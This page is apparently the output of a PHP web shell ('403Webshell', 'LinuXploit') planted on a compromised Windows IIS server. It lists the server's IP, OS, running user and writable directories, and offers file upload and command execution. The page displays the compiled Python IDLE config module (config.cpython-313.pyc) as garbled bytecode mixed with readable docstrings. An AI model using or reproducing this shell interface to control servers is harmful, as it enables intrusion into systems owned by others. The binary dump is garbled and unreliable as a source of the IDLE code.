403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/idlelib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/idlelib/__pycache__/config.cpython-313.pyc
�

��i����0�SrSSKJr SSKrSSKrSSKJr SSKr"SS\5r	"SS\5r
"S	S
\5r"SS\5r"S
S\5r
"SS5r\"5r\"5rSr"SS\5rSr\S:XaSSKJr \"SSSS9 \"5 gg)aDidlelib.config -- Manage IDLE configuration information.

The comments at the beginning of config-main.def describe the
configuration files and the design implemented to update user
configuration information.  In particular, user configuration choices
which duplicate the defaults will be removed from the user's
configuration files, and if a user file becomes empty, it will be
deleted.

The configuration database maps options to values.  Conceptually, the
database keys are tuples (config-type, section, item).  As implemented,
there are  separate dicts for default and user values.  Each has
config-type keys 'main', 'extensions', 'highlight', and 'keys'.  The
value for each key is a ConfigParser instance that maps section and item
to values.  For 'main' and 'extensions', user values override
default values.  For 'highlight' and 'keys', user sections augment the
default sections (and must, therefore, have distinct names).

Throughout this module there is an emphasis on returning usable defaults
when a problem occurs in returning a requested configuration value back to
idle. This is to allow IDLE to continue to function in spite of errors in
the retrieval of config information. When a default is returned instead of
a requested config value, a message is printed to stderr to aid in
configuration problem notification and resolution.
�)�ConfigParserN)�Fontc��\rSrSrSrg)�InvalidConfigType�#�N��__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__r��#C:\Python313\\Lib\idlelib\config.pyrr#s��Drrc��\rSrSrSrg)�InvalidConfigSet�$rNr	rrrrr$s��4rrc��\rSrSrSrg)�InvalidTheme�%rNr	rrrrr%s��trrc�8�\rSrSrSrS	SjrS
SjrSrSrSr	g)�IdleConfParser�'zA
A ConfigParser specialised for idle configuration file handling
Nc�:�Xl[R"XSS9 g)z;
cfgFile - string, fully specified configuration file name
F)�defaults�strictN)�filer�__init__)�self�cfgFile�cfgDefaultss   rr�IdleConfParser.__init__+s���	����d��Grc��URX5(dU$US:XaURX5$US:XaURX5$URXUS9$)zg
Get an option value for given section/option or return default.
If type is specified, return as type.
�bool�int��raw)�
has_option�
getboolean�getint�get)r�section�option�type�defaultr's      r�Get�IdleConfParser.Get2sW�����w�/�/��N��6�>��?�?�7�3�3�
�U�]��;�;�w�/�/��8�8�G��8�5�5rc�T�URU5(aURU5$/$)z4Return a list of options for given section, else [].)�has_section�options�rr,s  r�
GetOptionList�IdleConfParser.GetOptionListCs'�����G�$�$��<�<��(�(��Irc�^�UR(aURUR5 gg)z&Load the configuration file from disk.N)r�read�rs r�Load�IdleConfParser.LoadJs���9�9��I�I�d�i�i� �r�r�N)NNF)
r
rrr
�__doc__rr0r6r;rrrrrr's���H�6�"�!rrc�<�\rSrSrSrSrSrSrSrSr	Sr
S	rg
)�IdleUserConfParser�Oz?
IdleConfigParser specialised for user configuration handling.
c���URX5(a)URX5U:XagURXU5 gURU5(dUR	U5 URXU5 g)z�Return True if option is added or changed to value, else False.

Add section if required.  False means option already had value.
FT)r(r+�setr3�add_section)rr,r-�values    r�	SetOption�IdleUserConfParser.SetOptionTsh��
�?�?�7�+�+��x�x��(�E�1������%�0���#�#�G�,�,�� � ��)��H�H�W�e�,�rc�R�URU5(aURX5$g)z{Return True if option is removed from section, else False.

False if either section does not exist or did not have option.
F)r3�
remove_option)rr,r-s   r�RemoveOption�IdleUserConfParser.RemoveOptiones)��
���G�$�$��%�%�g�6�6�rc�T�URU5(dURU5 gg)z!If section doesn't exist, add it.N)r3rEr5s  r�
AddSection�IdleUserConfParser.AddSectionns&������(�(����W�%�)rc��UR5H,nURU5(aMURU5 M. g)z)Remove any sections that have no options.N)�sectionsr6�remove_sectionr5s  r�RemoveEmptySections�&IdleUserConfParser.RemoveEmptySectionsss1���}�}��G��%�%�g�.�.��#�#�G�,�'rc�L�UR5 UR5(+$)z9Return True if no sections after removing empty sections.)rSrQr:s r�IsEmpty�IdleUserConfParser.IsEmptyys��� � �"��=�=�?�"�"rc���URnU(a�USS:wa�UR5(d*[US5nU UR
U5 SSS5 g[RRUR5(a![R"UR5 gggg![a% [R
"U5 [US5nN�f=f!,(df   g=f)z�Update user configuration file.

If self not empty after removing empty sections, write the file
to disk. Otherwise, remove the file from disk if it exists.
r�#�wN)
rrV�open�OSError�os�unlink�write�path�exists�remove)r�fnamer s   r�Save�IdleUserConfParser.Save~s����	�	���U�1�X��_��<�<�>�>�/�"�5�#�.�G���J�J�w�'��W�������	�	�*�*��	�	�$�)�)�$�+�%�5���/��I�I�e�$�"�5�#�.�G�/���W�s�B.�C �.,C�C� 
C.rN)r
rrr
r?rGrKrNrSrVrdrrrrrArAOs%����"�&�
-�#�
%rrAc���\rSrSrSrS"SjrSrSrS#SjrSr	S	r
S
rSrSr
S
rSr\S5rS$SjrSrSrSrSrSrSrSrSrSr1SkrS%SjrSrSrSr Sr!S r"S!r#g)&�IdleConf�aPHold config parsers for all idle config files in singleton instance.

Default config files, self.defaultCfg --
    for config_type in self.config_types:
        (idle install dir)/config-{config-type}.def

User config files, self.userCfg --
    for config_type in self.config_types:
    (user home dir)/.idlerc/config-{config-type}.cfg
c��SUl0Ul0Ul0UlU(d!UR	5 UR5 gg)N)�main�	highlight�keys�
extensions)�config_types�
defaultCfg�userCfg�cfg�CreateConfigHandlers�LoadCfgFiles)r�_utests  rr�IdleConf.__init__�sA��G������������
��%�%�'�����rc	���[RR[5n[R
(aSOUR
5=UlnURH�n[[RRUSUS355URU'[[RRU=(d SSUS355URU'M� g)z5Populate default and user config parser dictionaries.�zconfig-z.defrYz.cfgN)r]r`�dirname�__file__�idlelib�testing�
GetUserCfgDir�userdirrnr�joinrorArp)r�idledirr}�cfg_types    rrr�IdleConf.CreateConfigHandlers�s����'�'�/�/�(�+��'.����D�<N�<N�<P�P���w��)�)�H�(6������W���z��&>�?�)A�D�O�O�H�%�%7������W�^��w�x�j��-E�F�&H�D�L�L��"�*rc���Sn[RRS5nUS:wa\[RRU5(d8[R
(d!SU-S-n[
U[RS9 SnUS:Xa[R"5n[RRX!5n[RRU5(d[R"U5 U$U$![a N�f=f![aX [R
(d<SU-S-n[
U[RS9 [e![a [ef=f[ef=f)zVReturn a filesystem directory for storing user config files.

Creates it if required.
z.idlerc�~z.
 Warning: os.path.expanduser("~") points to
 z,
 but the path does not exist.r=z2
 Warning: unable to create user config directory
z(
 Check path and permissions.
 Exiting!
)r]r`�
expanduserrarzr{�print�sys�stderrr\�getcwdr~�mkdir�
SystemExit)r�cfgDir�userDir�warns    rr|�IdleConf.GetUserCfgDir�s=��
���'�'�$�$�S�)���c�>��7�7�>�>�'�*�*����N�#�$�&H�I�D���d����4����c�>��i�i�k�G��'�'�,�,�w�/���w�w�~�~�g�&�&�

!�����!���w���)#������
!����R�#�$�&S�T�D���d����4�!� ��#��� � ��� � �
!�sB�*C=�#D
�=
D
�	D
�
'E/�5E�
E/�
E%�E/�$E%�%
E/Nc��URURX#5(aURURX#XWS9$UR
URX#5(aUR
URX#XWS9$U(aSU<SU<SU<3n[	X�X#5 U$![a< SU<SU<SU<SURURX#US9<3n[	X�X#5 N�f=f![a Nxf=f)	a�Return a value for configType section option, or default.

If type is not None, return a value of that type.  Also pass raw
to the config parser.  First try to return a valid value
(including type) from a user configuration. If that fails, try
the default configuration. If that fails, return default, with a
default of None.

Warn if either user or default configurations have an invalid value.
Warn if default is returned and warn_on_default is True.
)r.r'z5
 Warning: config.py - IdleConf.GetOption -
 invalid z  value for configuration option z
 from section z: r&zU
 Warning: config.py - IdleConf.GetOption -
 problem retrieving configuration option �.
 returning default value: )rpr(r0�
ValueError�_warnro)	r�
configTyper,r-r/r.�warn_on_defaultr'�warnings	         r�	GetOption�IdleConf.GetOption�s��
	8��|�|�J�'�2�2�7�C�C��|�|�J�/�3�3�G�9=�4�H�H�D�	����z�*�5�5�g�E�E����z�2�6�6��d�7�=�=�F��
���	2�G�

�'�w�7����+�	8��f�g��|�|�J�/�3�3�G��3�M�	O�G�

�'�w�7�
	8���	��	�s$�?B(�?C1�(AC.�-C.�1
C>�=C>c�B�URURX#U5 g)z0Set section option to value in user config file.N)rprG)rr�r,r-rFs     rrG�IdleConf.SetOption�s�����Z� �*�*�7�E�Brc���X R;a[S5eUS:XaURUnUR5$US:XaURUnUR5$[	S5e)z�Return sections for configSet configType configuration.

configSet must be either 'user' or 'default'
configType must be in self.config_types.
zInvalid configType specified�userr/�Invalid configSet specified)rnrrprorrQ)r�	configSetr��	cfgParsers    r�GetSectionList�IdleConf.GetSectionListsz���/�/�/�#�$B�C�C�������Z�0�I�
�!�!�#�#�	�)�
#��o�o�j�1�I��!�!�#�#�#�#@�A�Arc��URSRU5(aSOSnURX15nXBS-nUS:XaSnXBS-nXVS.$)	z�Return dict of theme element highlight colors.

The keys are 'foreground' and 'background'.  The values are
tkinter color strings for configuring backgrounds and tags.
rkr/r�z-foreground�cursor�normalz-background)�
foreground�
background)ror3�GetThemeDict)r�theme�elementrq�
theme_dict�fore�backs       r�GetHighlight�IdleConf.GetHighlightsh��!�O�O�K�8�D�D�U�K�K�y��	��&�&�s�2�
��M�1�2���h���G��M�1�2��"�7�7rc���US:XaURSnO!US:XaURSnO[S5e0SS_SS_S	S_S
S_SS_SS_S
S_SS_SS_SS_SS_SS_SS_SS_SS_SS_SS_SSSSSSSSSSSSSSS.EnUH`nURX%5(d3UR	S5(dSU<SU<SXE<3n[USX%5 UR
X%XES9XE'Mb U$)aReturn {option:value} dict for elements in themeName.

type - string, 'default' or 'user' theme type
themeName - string, theme name
Values are loaded over ultimate fallback defaults to guarantee
that all theme elements are present in a newly created theme.
r�rkr/zInvalid theme type specifiedznormal-foregroundz#000000znormal-backgroundz#ffffffzkeyword-foregroundzkeyword-backgroundzbuiltin-foregroundzbuiltin-backgroundzcomment-foregroundzcomment-backgroundzstring-foregroundzstring-backgroundzdefinition-foregroundzdefinition-backgroundzhilite-foregroundzhilite-background�grayzbreak-foregroundzbreak-backgroundzhit-foreground)zhit-backgroundzerror-foregroundzerror-backgroundzcontext-foregroundzcontext-backgroundzlinenumber-foregroundzlinenumber-backgroundzcursor-foregroundzstdout-foregroundzstdout-backgroundzstderr-foregroundzstderr-backgroundzconsole-foregroundzconsole-background)zcontext-zlinenumber-zL
 Warning: config.IdleConf.GetThemeDict -
 problem retrieving theme element z
 from theme z.
 returning default color: �r/)rprorr(�
startswithr�r0)rr.�	themeNamer�r�r�r�s       rr��IdleConf.GetThemeDict"s����6�>����[�1�I�
�Y�
�����4�I��=�>�>�!�#�I�!�#�I�!�$�Y�!�%�Y�!�%�Y�	!�
%�Y�!�%�Y�
!�%�Y�!�$�I�!�$�I�!�(�	�!�(�	�!�$�I�!�$�F�!�#�9�!�#�9�!� !��!!�""+�#,�#,�%.�%.�(1�(1�$-�$-�$-�$-�$-�%.�%.�A!��D�G��(�(��<�<��&�&�'B�C�C�$�Y���	@��
�g�{�I�?�&�]�]����+�@�E�N���rc�$�URS5$)z9Return the name of the currently active text color theme.�Theme��current_colors_and_keysr:s r�CurrentTheme�IdleConf.CurrentThemefs���+�+�G�4�4rc�$�URS5$)z0Return the name of the currently active key set.�Keysr�r:s r�CurrentKeys�IdleConf.CurrentKeysjs���+�+�F�3�3rc�T�US:XaSOSnURSUSSSS9nS	nU(aURSUS
S	S9nU(dURSUSS	S9nU(a9U(aUROURnXRRU5(aU$US:XaS
$UR	5$)a~Return the currently active name for Theme or Keys section.

idlelib.config-main.def ('default') includes these sections

[Theme]
default= 1
name= IDLE Classic
name2=

[Keys]
default= 1
name=
name2=

Item 'name2', is used for built-in ('default') themes and keys
added after 2015 Oct 1 and 2016 July 1.  This kludge is needed
because setting 'name' to a builtin not defined in older IDLEs
to display multiple error messages or quit.
See https://bugs.python.org/issue25313.
When default = True, 'name2' takes precedence over 'name',
while older IDLEs will just use name.  When default = False,
'name2' may still be set, but it is ignored.
r�rkrlrjr/r$T�r.r/rw�name2r��namezIDLE Classic)r�rorpr3�default_keys)rr,�cfgnamer/r��sources      rr�� IdleConf.current_colors_and_keysns���0")�G�!3�+����.�.���)�&,�d�!�<������>�>�&�'�7�B�>�G�D���>�>�&�'�6�2�>�F�D��(/�T�_�_�T�\�\�F���*�*�4�0�0���!(�G�!3�~�L��9J�9J�9L�Lrc�^�[RSSS:Xag[RS:Xagg)N��winzIDLE Classic Windows�darwinzIDLE Classic OSXzIDLE Modern Unix)r��platformrrrr��IdleConf.default_keys�s*���<�<����u�$�)�
�\�\�X�
%�%�%rc
��URURSS55nURURSS55nUHnXd;dM
URU5 M SHnURU5 M U(a/nUHunUR	SUSSSS9(dMU(dU(a9U(aS	nOS
nUR	SXhSSSS9(aURU5 MbMdURU5 Mw U$U$)
z�Return extensions in default and user config-extensions files.

If active_only True, only return active (enabled) extensions
and optionally only editor or shell extensions.
If active_only False, return all extensions.
r/rmr�)�AutoComplete�CodeContext�FormatParagraph�
ParenMatch�enableTr$�r/r.�
enable_editor�enable_shellF)r/r.r�)�RemoveKeyBindNamesr��appendrbr�)	r�active_only�editor_only�
shell_only�extns�	userExtns�extn�activeExtnsr-s	         r�
GetExtensions�IdleConf.GetExtensions�s���'�'��#�#�I�|�<�>���+�+��#�#�F�L�9�;�	��D�� ����T�"��5�D��L�L���5�
��K����>�>�,��h��'-�"�/�/�#�j�&�%4�F�%3�F��>�>�,��26�V�:?�*�A�(�.�.�t�4�A�
$�*�*�4�0�����Lrc�`�UVs/sHo"RS5(aMUPM sn$s snf)z:Return extnNameList with keybinding section names removed.)�	_bindings�_cfgBindings)�endswith)r�extnNameList�ns   rr��IdleConf.RemoveKeyBindNames�s$��'�Y�<�a�z�z�:W�/X��<�Y�Y��Ys�+�+c��SnSU-S-nURSS9H$nURU5HnXS:XdM
UnM M& U$)z�Return the name of the extension binding virtualEvent, or None.

virtualEvent - string, name of the virtual event to test for,
               without the enclosing '<< >>'
N�<<�>>r�r�)r��GetExtensionKeys)r�virtualEvent�extName�vEventr��events      r�GetExtnNameForEvent�IdleConf.GetExtnNameForEvent�sV������$�t�+���&�&�1�&�5�D��.�.�t�4���?�"�G�5�6��rc���US-nUR5n0nURSRU5(a7URSRU5nUHnSU-S-nX7nX�U'M U$)z�Return dict: {configurable extensionName event : active keybinding}.

Events come from default config extension_cfgBindings section.
Keybindings come from GetCurrentKeySet() active key dict,
where previously used bindings are disabled.
r�rmr�r�)�GetCurrentKeySetror3r6)	r�
extensionName�keysName�
activeKeys�extKeys�
eventNames�	eventNamer��bindings	         rr��IdleConf.GetExtensionKeys�s���!�>�1���*�*�,�
����?�?�<�(�4�4�X�>�>�����6�D�D�X�N�J�'�	��y�(�4�/��$�+��!(���(��rc��US-n0nURSRU5(aRURSRU5nUH.nURSX%SS9R	5nSU-S-nXcU'M0 U$)z�Return dict {configurable extensionName event : keybinding list}.

Events come from default config extension_cfgBindings section.
Keybindings list come from the splitting of GetOption, which
tries user config before default config.
r�rmrwr�r�r�)ror3r6r��split)rr�r�r�r�r�r�r�s        r�__GetRawExtensionKeys�IdleConf.__GetRawExtensionKeys�s���!��/�����?�?�<�(�4�4�X�>�>�����6�D�D�X�N�J�'�	��.�.�$�h�2�)�G�GL�u�w���y�(�4�/��!(���	(�
�rc��US-nURU5nURSRU5(aRURSRU5nUH.nUR	SX%SS9R5nSU-S-nXcU'M0 U$)z�Return dict {extensionName event : active or defined keybinding}.

Augment self.GetExtensionKeys(extensionName) with mapping of non-
configurable events (from default config) to GetOption splits,
as in self.__GetRawExtensionKeys.
r�rmrwr�r�r�)r�ror3r6r�r�)rr��	bindsName�extBindsr�r�r�r�s        r�GetExtensionBindings�IdleConf.GetExtensionBindings�s���"�K�/�	��(�(��7���?�?�<�(�4�4�Y�?�?�����6�D�D�Y�O�J�'�	��.�.�$�i�B�)�H�HM�����y�(�4�/��")���	(��rc�P�USSnURSXSSS9R5nU$)z�Return the keybinding list for keySetName eventStr.

keySetName - name of key binding set (config-keys section).
eventStr - virtual event, including brackets, as in '<<event>>'.
����rlrwF)r/r�)r�r�)r�
keySetName�eventStrr�r�s     r�
GetKeyBinding�IdleConf.GetKeyBindings:���Q�r�N�	��.�.����16�!�8�8=���	��rc��URUR55n[RS:XaEUR	5H1up#UVs/sHoDRSS5PM nnX5:wdM-XQU'M3 U$s snf)z/Return CurrentKeys with 'darwin' modifications.r�z<Alt-z<Option-)�	GetKeySetr�r�r��items�replace)r�result�k�v�x�v2s      rr��IdleConf.GetCurrentKeySetso������ 0� 0� 2�3���<�<�8�#�������?@�B�q�!�y�y��*�5�q��B��7� "�1�I�'�
�
��	Cs�
A;c���URU5nURSS9nUHFnURU5nU(dMUH#nXVUR5;aSXV'XVX&'M% MH U$)z�Return event-key dict for keySetName core plus active extensions.

If a binding defined in an extension is already in use, the
extension binding is disabled by being set to ''
�r�rw)�GetCoreKeysr��_IdleConf__GetRawExtensionKeys�values)rr�keySetr�r�r�r�s       rr
�IdleConf.GetKeySet,sw���!�!�*�-���(�(�Q�(�7���D��0�0��6�G��w�$�E��~�����8�)+���$+�N�F�M�	%� ��
rc�4�SU-S-UR5;$)z�Return True if the virtual event is one of the core idle key events.

virtualEvent - string, name of the virtual event to test for,
               without the enclosing '<< >>'
r�r�)r)rr�s  r�
IsCoreBinding�IdleConf.IsCoreBinding>s"���\�!�$�&�4�+;�+;�+=�=�=r>	�<<run-custom>>�<<run-module>>�<<expand-word>>�<<flash-paren>>�<<zoom-height>>�<<check-module>>�<<format-paragraph>>�<<force-open-calltip>>�<<force-open-completions>>c	�H�0SSS/_SSS/_SSS	/_S
SS/_S
S/_SS/_SS/_SS/_SS/_SS/_SS/_SS/_SS/_SS/_SS /_S!S"/_S#S$/_0S%S&/_S'S(/_S)S*/_S+S,/_S-S./_S/S0/_S1S2/_S3S4/_S5S6/_S7S8/_S9S:/_S;S</_S=S>/_S?S@SA/_SBSC/_SDSE/_SFSG/_E0SHSI/_SJSK/_SLSM/_SNSOSP/_SQSR/_SSST/_SUSV/_SWSX/_SYSZ/_S[S\/_S]S^/_S_S`/_SaSb/_ScSd/_SeSf/_SgSh/_SiSj/_ESk/Sl/Sm/Sn/So/Sp/Sq/Sr.EnU(a�URSsRU5(d9URSsRU5(dStU<Su3n[USsU5 U$UHOnUR	X5nU(aXRU'M!X@R
;dM2SvU<SwU<SxX$<3n[USsX5 MQ U$)yajReturn dict of core virtual-key keybindings for keySetName.

The default keySetName None corresponds to the keyBindings base
dict. If keySetName is not None, bindings from the config
file(s) are loaded _over_ these defaults, so if there is a
problem getting any core binding there will be an 'ultimate last
resort fallback' to the CUA-ish bindings defined here.
z<<copy>>z<Control-c>z<Control-C>z<<cut>>z<Control-x>z<Control-X>z	<<paste>>z<Control-v>z<Control-V>z<<beginning-of-line>>z<Control-a>z<Home>z<<center-insert>>z<Control-l>z<<close-all-windows>>z<Control-q>z<<close-window>>z<Alt-F4>z<<do-nothing>>z<<end-of-file>>z<Control-d>z<<python-docs>>z<F1>z<<python-context-help>>z
<Shift-F1>z<<history-next>>z<Alt-n>z<<history-previous>>z<Alt-p>z<<interrupt-execution>>z<<view-restart>>z<F6>z<<restart-shell>>z<Control-F6>z<<open-class-browser>>z<Alt-c>z<<open-module>>z<Alt-m>z<<open-new-window>>z<Control-n>z<<open-window-from-file>>z<Control-o>z<<plain-newline-and-indent>>z<Control-j>z<<print-window>>z<Control-p>z<<redo>>z<Control-y>z<<remove-selection>>z<Escape>z<<save-copy-of-window-as-file>>z
<Alt-Shift-S>z<<save-window-as-file>>z<Alt-s>z<<save-window>>z<Control-s>z<<select-all>>z<Alt-a>z<<toggle-auto-coloring>>z<Control-slash>z<<undo>>z<Control-z>z<<find-again>>z<Control-g>z<F3>z<<find-in-files>>z<Alt-F3>z<<find-selection>>z<Control-F3>z<<find>>z<Control-f>z<<replace>>z<Control-h>z
<<goto-line>>z<Alt-g>z<<smart-backspace>>z<Key-BackSpace>z<<newline-and-indent>>z<Key-Return>z<Key-KP_Enter>z<<smart-indent>>z	<Key-Tab>z<<indent-region>>z<Control-Key-bracketright>z<<dedent-region>>z<Control-Key-bracketleft>z<<comment-region>>z<Alt-Key-3>z<<uncomment-region>>z<Alt-Key-4>z<<tabify-region>>z<Alt-Key-5>z<<untabify-region>>z<Alt-Key-6>z<<toggle-tabs>>z<Alt-Key-t>z<<change-indentwidth>>z<Alt-Key-u>z<<del-word-left>>z<Control-Key-BackSpace>z<<del-word-right>>z<Control-Key-Delete>r(z<Control-Key-space>r"z<Alt-Key-slash>z<Control-Key-backslash>z<Control-Key-0>z<Alt-Key-q>z<Key-F5>z<Shift-Key-F5>z<Alt-Key-x>z<Alt-Key-2>)r'r#r&r!r r%r$rlz7
 Warning: config.py - IdleConf.GetCoreKeys -
 key set z( is not defined, using default bindings.zX
 Warning: config.py - IdleConf.GetCoreKeys -
 problem retrieving key binding for event z
 from key set r�)rpr3ror�r
�former_extension_events)rr�keyBindingsr�r�r�s      rr�IdleConf.GetCoreKeysPs��<���
�6�<�
�
�}�5�<�
�-��7�	<�

$�m�X�%>�<�
 �-��
<�
$�m�_�<�
���<�
�}�o�<�
�
��<�
��x�<�
&��~�<�
���<�
#�Y�K�<�
&�
��<� 
���!<�"
 �.�!1�#<�$
%�y�k�%<�&
�	�{�'<�(
"�M�?�)<�*
(�-��+<�,
+�]�O�-<�.
���/<�0
���1<�2
#�Z�L�3<�4
.��/@�5<�6
&�	�{�7<�8
�
��9<�:
�y�k�;<�<
'�):�(;�=<�>
���?<�@
�}�f�5�A<�B
 �*��C<�D
!�>�"2�E<�F
���G<�H
�M�?�I<�J
�i�[�K<�L
"�$5�#6�M<�N
%�~�7G�&H�O<�P
��
�Q<�R
 �">�!?�S<�T
 �"=�!>�U<�V
!�=�/�W<�X
#�]�O�Y<�Z
 �-��[<�\
"�M�?�]<�^
�
��_<�`
%�}�o�a<�b
 �";�!<�c<�d
!�#9�":�e<�f
)�+@�*A�g<�h
� 1�2�i<�j(A�&A� 1�2�%2�O�)�l�/�0�!.�� -��w<��|��L�L��(�4�4�Z�@�@��O�O�F�+�7�7�
�C�C� �"��
�g�v�z�2� ��)�E�"�0�0��C�G��-4�E�*��&B�&B�B�#�J��0B�	D� ��g�v�z�A�)��rc���/nUS:XaURSnO!US:XaURSnO[S5eURS5nUH�nUR	SUSS9nURS5S:XaS	nS	nO7UR
S5nUS
R5nUSR5nU(dMnU(dMwURXxU45 M� URSS
9 U$)a�Return list of extra help sources from a given configSet.

Valid configSets are 'user' or 'default'.  Return a list of tuples of
the form (menu_item , path_to_help_file , option), or return the empty
list.  'option' is the sequence number of the help resource.  'option'
values determine the position of the menu items on the Help menu,
therefore the returned list must be sorted by 'option'.

r�rjr/r��	HelpFiles�;r����rwrrc��US$)Nrr)rs r�<lambda>�1IdleConf.GetExtraHelpSourceList.<locals>.<lambda>�s��q��tr)�key)
rprorr6r0�findr��stripr��sort)	rr��helpSourcesr�r4r-rF�menuItem�helpPaths	         r�GetExtraHelpSourceList�IdleConf.GetExtraHelpSourceList�s�����������V�,�I�
�)�
#�����/�I�"�#@�A�A��'�'��4���F��-�-��V�S�-�A�E��z�z�#��"�$������k�k�#�&���q����)���q����)���x�H�H��"�"�X�v�$>�@��	���^��,��rc�L�URS5URS5-nU$)zvReturn a list of the details of all additional help sources.

Tuples in the list are those of GetExtraHelpSourceList.
r/r�)r;)r�allHelpSourcess  r�GetAllExtraHelpSourcesList�#IdleConf.GetAllExtraHelpSourcesList�s-��
�5�5�i�@��+�+�F�3�4���rc�
�URX#SSS9nURX#SSSS9nURX#SS	S
S9nUS:Xa;[SS
US9n[R"U5nUSnUSnUS	::aSnUSS:HnXEU(aS4$S4$)aORetrieve a font from configuration (font, font-size, font-bold)
Intercept the special value 'TkFixedFont' and substitute
the actual font, factoring in some tweaks if needed for
appearance sakes.

The 'root' parameter can normally be any valid Tkinter widget.

Return a tuple (family, size, weight) suitable for passing
to tkinter.Font
�font�courierr�z	font-sizer%�10r�z	font-boldrr$r��TkFixedFontT)r�ra�root�family�size�
�weight�boldr�)r�r�actual)	rrFr�r,rGrHrK�f�
actualFonts	         r�GetFont�IdleConf.GetFont�s������
�V�Y��O���~�~�j�;�U�&*��,���~�~�j�;��#)��+���m�#��-��4�@�A����Q��J���)�F��f�%�D��q�y����h�'�6�1�D���f�;�;�(�;�;rc��URH=nURUR5 URUR5 M? g)zLoad all configuration files.N)ror;rp�rr4s  rrs�IdleConf.LoadCfgFiles�s:���?�?�C��O�O�C� �%�%�'��L�L���"�"�$�#rc�d�URH nURUR5 M" g)z2Write all loaded user configuration files to disk.N)rprdrRs  r�SaveUserCfgFiles�IdleConf.SaveUserCfgFiles�s%���<�<�C��L�L���"�"�$� r)rqrnrorpr})F)NNTF)TFFr>)$r
rrr
r?rrrr|r�rGr�r�r�r�r�r��staticmethodr�r�r�r�r�rrr
r�r
rr*rr;r?rOrsrUrrrrrgrg�s���	� �H�"�HIM�,1�&�PC�$� 
8�B�H5�4�$M�L�&��&�)-�49�'�RZ���$�$�(	��"�$>���`�D�@�<�4%�%rrgc��U4U-nU[;a/[U[RS9 [RU5 gg![a N#f=f)Nr=)�_warnedr�r�r�r\�add)�msgr4s  rr�r�sO���&�3�,�C�
�'��	��#�C�J�J�'�	���C�����	��	�s�A�
A�
Ac�F�\rSrSrSrSrSr\S5rSr	Sr
SrS	rg
)�
ConfigChangesia�Manage a user's proposed configuration option changes.

Names used across multiple methods:
    page -- one of the 4 top-level dicts representing a
            .idlerc/config-x.cfg file.
    config_type -- name of a page.
    section -- a section within a page/file.
    option -- name of an option within a section.
    value -- value for the option.

Methods
    add_option: Add option and value to changes.
    save_option: Save option and value to config parser.
    save_all: Save all the changes to the config parser and file.
    delete_section: If section exists,
                    delete from changes, userCfg, and file.
    clear: Clear all changes by clearing each page.
c��/Ul[RH$n0X'URRX5 M& g)z)Create a page for each configuration fileN)�pages�idleConfrnr�)r�config_types  rr�ConfigChanges.__init__!s6����
�#�0�0�K� "�D���J�J���d�/�0�1rc�B�Xn[U5nX%;a0XR'XEUU'g)z0Add item/value pair for config_type and section.N)�str)rrar,�itemrF�pages      r�
add_option�ConfigChanges.add_option(s,��� ���E�
�����D�M�#�W�
�d�rc�&�[RURX5(aH[RURX5U:Xa"[RURX5$[RUR
XU5$)zSReturn True if the configuration value was added or changed.

Helper for save_all.
)r`ror(r0rprKrG)rar,rerFs    r�save_option�ConfigChanges.save_option0sx�����{�+�6�6�w�E�E��"�"�;�/�3�3�G�B�e�K��'�'��4�A�A�'�P�P�����,�6�6�w�e�L�Lrc	��[RSR5 SnUH�nSnXnUHcnUS:Xa$[RSRS5 SnXER	5H upgURX%Xg5(dMSnM" Me U(dM{[RUR5 SnM� SH$n[RUR5 M& UR
5 U$)z�Save configuration changes to the user config file.

Clear self in preparation for additional changes.
Return changed for testing.
rjFr.T)rlrk)r`rprdrRrrj�clear)r�changedra�cfg_type_changedrfr,rerFs        r�save_all�ConfigChanges.save_all=s���	���� �%�%�'����K�$���$�D����k�)��$�$�V�,�;�;�K�H�'+�$�#'�=�#6�#6�#8�K�D��'�'��d�J�J�+/�(�$9�	 � ��� � ��-�2�2�4��� �1�K����[�)�.�.�0�1�	
�
�
���rc��X U;aXU	[RUnURU5 UR5 g)zZDelete a section from self, userCfg, and file.

Used to delete custom themes and keysets.
N)r`rprRrd)rrar,�
configpages    r�delete_section�ConfigChanges.delete_section[sB��
�;�'�'��!�'�*��%�%�k�2�
��!�!�'�*����rc�J�URHnUR5 M g)z~Clear all 4 pages.

Called in save_all after saving to idleConf.
XXX Mark window *title* when there are changes; unmark here.
N)r_rm)rrfs  rrm�ConfigChanges.clearfs���J�J�D��J�J�L�r)r_N)
r
rrr
r?rrgrWrjrprtrmrrrrr]r]s6���$1�$��
M��
M��<	�rr]c�^^^^�SSKJm SummUUU4SjmU4SjnU"[R5 U"[R5 [STSTSS	9 g)
Nr)�crc32)rrc�h>�[U5nTS-
mT"URSS9T5m[U5 g)Nrzutf-8)�encoding)rd�encoder�)�obj�txt�crcry�lines  ���r�sprint�_dump.<locals>.sprintus3����#�h����	���C�J�J��J�0�#�6��
�c�
rc
�0>�[SUS5 [U5HynXR5nT"U5 T"U5 UHNnXRU5nT"U5 T"U5 UH"nT"US-XR	X55-5 M$ MP M{ g)N�
z = )r��sortedrQr4r0)rqr4rQr,r4r-r�s      �r�dumpCfg�_dump.<locals>.dumpCfg}s����
�d�C����#�;�C��x�(�(�*�H��3�K��8��#���(�*�*�7�3���w���w��%�F��6�E�>�C�H�L�L��,I�I�J�&�	$�	rz	
lines = z, crc = rw)�sep)�zlibryr`rorpr�)r�rryr�r�s @@@@r�_dumpr�qsH�����I�D�#��K��H��� ��H����	�,��j�#�2�6r�__main__)rjzidlelib.idle_test.test_configrF)�	verbosity�exit)r?�configparserrr]r��tkinter.fontrrz�	ExceptionrrrrrArgr`rDrYr��dictr]r�r
�unittestrjrrr�<module>r�s����6&�	�
���(�	�(�'�y�'�#�9�#�&!�\�&!�P@%��@%�Dm	%�m	%�`�:��

�%���_�D�_�F7�<�z����	(�A�E�B�	�G�	r

Youez - 2016 - github.com/yon3zu
LinuXploit